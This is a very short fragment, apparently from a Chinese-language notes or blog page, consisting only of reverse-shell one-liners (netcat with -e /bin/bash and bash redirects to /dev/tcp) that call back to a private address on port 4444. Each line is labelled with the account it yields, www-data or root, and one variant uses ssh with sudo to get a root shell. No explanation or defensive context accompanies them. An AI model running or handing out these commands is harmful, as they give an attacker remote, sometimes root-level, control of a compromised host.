nc -e /bin/bash 192.168.137.17 4444(www-data)bash -i >& /dev/tcp/192.168.137.17/4444 0>&1(www-data)echo "bash -i >& /dev/tcp/192.168.137.17/4444 0>&1" | bash(www-data)ssh user@localhost sudo bash -i >& /dev/tcp/192.168.137.17/4444 0>&1(root)
标签: none